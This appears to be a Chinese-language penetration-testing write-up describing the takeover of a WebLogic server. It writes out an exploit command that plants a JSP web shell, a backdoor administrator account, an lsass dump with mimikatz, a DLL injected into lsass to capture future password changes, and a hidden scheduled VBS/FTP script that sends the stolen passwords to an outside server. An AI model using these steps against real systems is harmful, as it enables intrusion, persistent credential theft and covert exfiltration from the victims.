漏洞验证与利用
在某次测试中发现了某某站点开了7001端口的Weblogic服务
运用payload向其写入shell。
java -jar WebLogic_Wls-Wsat_RCE_Exp.jar http://xxx.xxx.xxx:7001 abc.jsp
成功后会显示一个shell地址:http://xxx.xxx.xxx:7001/bea_wls_internal/abc.jsp?password=secfree&command=whoami
这里请无视(xxx)
信息收集
访问shell地址执行命令,获取机子信息:
whoami -->xxx\admin
ipconfig -->公网地址
sysinfo -->win2008x64 R2 EN 工作组 257个补丁
net localgroup administrators --> 得知当前用户(admin)是管理组
tasklist -->杀软卡巴斯基(avp.exe)
执行netstat -ano看下端口,发现没有开启3389端口。但这不是绝对的,有些可爱的管理员会把3389端口改成别的端口,进行远程链接。所以要想知道真正的远程端口链接是多少需执行tasklist /svc命令,查看svchost.exe对应的TermService的pid
该目标机为:
svchost.exe 3788 TermService
查看对应的PID,得知远程链接端口为39800
攻击
net user admin1 Qww123!/add&net localgoup administrators admin1 /add
链接远程端口之!
emmm什么时候冒出了一个熊猫卫士清理工具??
好吧。
这杀软环境挺让人绝望的,光是卡巴就够呛还来个熊猫帮手
较新版本的卡巴对lsass进程全面封锁,进程是动不了的,但幸运的是,该机子的卡巴是旧版本,而且病毒库也不更新,得利于管理员的懒惰,成功将它的lsass进程创建为转储文件lsass.DMP,并把它拖回本地dump
mimikatz获取到管理员密码
巩固
都已经拿到管理员密码了,你还想怎样?没错,我不仅要拿你的密码,就算你修改新的密码,我也要知道!
准备HookPasswordChange.dll和Invoke-ReflectivePEInjection.ps1文件,然后运行该powershell脚本将dll注入到lsass进程中。利用方法文章结束后有相关链接
将准备好的文件丢进目标机子,执行命令:
powershell –exec bypass –Command "& "
成功安装,当管理员修改密码的时候会记录下新的密码,且以文本的形式保存在c:\windows\temp\passwords.txt
因为管理员没有这么快改密码,所以自己就创建一个管理员用户,并修改密码做测试
OK,没问题
传输
实际过程中如果管理员修改了密码,我们是要将passwords.txt传送出来的。
方法有很多,这里就用个简单的FTP上传文件的方式,将文件发送到FTP服务器
将VBS脚本放到任务计划书里,按时执行,VBS代码如下:
Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c ftp -s:E:\xxx\ftp.txt",vbhide
ftp.txt内容为:
open xxx.xxx.xxx.xxx
ppp
123456
put c:\windows\temp\passwords.txt
bye
继续忽略xxx
是,目标机子运行FTP xxx.xxx.xxx.xxx(xxx为FTP服务器的IP)报错:访问被拒绝
可能是卡巴惹的祸吧,没有深究,自己上传上ftp.exe上去运行
成功链接到FTP服务器
在任务计划书里定时一天发送一次,搞定。
领取专属 10元无门槛券
私享最新 技术干货